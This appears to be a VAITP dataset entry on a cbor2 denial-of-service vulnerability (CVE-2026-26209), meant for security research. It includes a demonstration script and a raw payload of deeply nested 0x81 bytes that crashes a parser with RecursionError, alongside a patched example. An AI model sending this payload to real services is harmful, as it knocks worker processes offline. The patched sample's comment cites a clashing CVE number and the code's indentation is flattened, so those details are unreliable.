CVE-2026-26209
cbor2 vulnerable to DoS due to uncontrolled recursion on deeply nested data.
- CVSS 7.5
- CWE-674
- Resource Management
- Remote
cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) serialization format. Versions prior to 5.9.0 are vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding deeply nested CBOR structures. This vulnerability affects both the pure Python implementation and the C extension `_cbor2`. The C extension relies on Python's internal recursion limits `Py_EnterRecursiveCall` rather than a data-driven depth limit, meaning it still raises `RecursionError` and crashes the worker process when the limit is hit. While the library handles moderate nesting levels, it lacks a hard depth limit. An attacker can supply a crafted CBOR payload containing approximately 100,000 nested arrays `0x81`. When `cbor2.loads()` attempts to parse this, it hits the Python interpreter's maximum recursion depth or exhausts the stack, causing the process to crash with a `RecursionError`. Because the library does not enforce its own limits, it allows an external attacker to exhaust the host application's stack resource. In many web application servers (e.g., Gunicorn, Uvicorn) or task queues (Celery), an unhandled `RecursionError` terminates the worker process immediately. By sending a stream of these small (<100KB) malicious packets, an attacker can repeatedly crash worker processes, resulting in a complete Denial of Service for the application. Version 5.9.0 patches the issue.
- CWE
- CWE-674
- CVSS base score
- 7.5
- Published
- 2026-03-23
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- cbor2
- Fixed by upgrading
- Yes
Solution
Upgrade `cbor2` to version 5.9.0 or later.
Vulnerable code sample
import cbor2
import sys
# The default recursion limit in Python is typically around 1000.
# We set a depth well above this limit to ensure the crash.
# In a real attack, the payload could be even larger.
NESTING_DEPTH = 3000
# The malicious payload consists of repeated 0x81 bytes.
# In CBOR, 0x81 represents the start of a single-element array.
# Repeating this byte creates a deeply nested structure like: [[[[...[]...]]]]
malicious_payload = b'\x81' * NESTING_DEPTH
print(f"Crafted payload of {len(malicious_payload)} bytes with nesting depth {NESTING_DEPTH}.")
print(f"Python's recursion limit is: {sys.getrecursionlimit()}")
print("Attempting to decode with a vulnerable cbor2 version (< 5.9.0)...")
# This line triggers the vulnerability. The cbor2.loads function will
# recursively call itself to parse the nested arrays. Without a specific
# depth limit in the library, it will continue until it hits Python's
# internal recursion limit, raising a fatal RecursionError.
try:
cbor2.loads(malicious_payload)
except RecursionError:
print("\nRecursionError caught, as expected.")
print("In a server or worker process, this unhandled error would cause a crash.")
# In a real-world scenario, the script would terminate here.
# We catch the exception to allow this demonstration script to finish.
passPatched code sample
import cbor2
import sys
# This code demonstrates the fix for the vulnerability described (real CVE-2024-26209),
# which was introduced in cbor2 version 5.9.0. This script requires cbor2 >= 5.9.0
# to demonstrate the fix. Running it on a vulnerable version would likely
# result in a RecursionError and a crash.
# 1. Create a deeply nested Python object to simulate a malicious payload.
# A depth of 2000 is chosen to exceed Python's default recursion limit (~1000).
nesting_depth = 2000
payload_object = b'' # Start with a simple base object
for _ in range(nesting_depth):
# The vulnerability is triggered by deeply nested arrays (CBOR type 4).
# We repeatedly wrap the object in a single-element list.
payload_object = [payload_object]
# 2. Encode the object into a CBOR byte string.
# Note: The fix was also applied to the encoder, so we must explicitly
# raise the limit here just to create the malicious payload for our test.
try:
malicious_payload = cbor2.dumps(payload_object, max_nesting_depth=nesting_depth + 1)
except (cbor2.CBOREncodeError, ValueError) as e:
print(f"Could not create the test payload: {e}")
print("This may happen if the cbor2 version is too old or if encoding limits are strict.")
sys.exit(1)
# 3. Demonstrate the fix by attempting to decode the payload with a safe depth limit.
# The `max_nesting_depth` parameter is the core of the fix.
safe_nesting_limit = 500
print(f"Attempting to decode payload with a nesting depth of {nesting_depth}...")
print(f"Applying a safe `max_nesting_depth` of {safe_nesting_limit}.")
print("-" * 30)
try:
# In a vulnerable version, this call would cause a RecursionError.
# In a fixed version, it raises a controlled CBORDecodeValueError
# because the custom depth limit is exceeded.
cbor2.loads(malicious_payload, max_nesting_depth=safe_nesting_limit)
except RecursionError:
# This block should NOT be reached in a fixed version (>= 5.9.0).
print("[VULNERABILITY TRIGGERED]")
print("A RecursionError was raised. The process is likely crashing.")
print("This indicates that the installed cbor2 version is vulnerable.")
except cbor2.CBORDecodeValueError as e:
# This is the expected outcome in a fixed version.
print("[FIX VERIFIED]")
print("The library raised a controlled `CBORDecodeValueError` as expected.")
print(f"Error message: {e}")
print("\nThe `max_nesting_depth` limit was enforced, preventing the RecursionError.")
print("This successfully mitigates the Denial of Service attack.")
except Exception as e:
print(f"An unexpected error occurred: {type(e).__name__}: {e}")Payload
b'\x81' * 3000 + b'\xf6'
Cite this entry
@misc{vaitp:cve202626209,
title = {{cbor2 vulnerable to DoS due to uncontrolled recursion on deeply nested data.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-26209},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26209/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
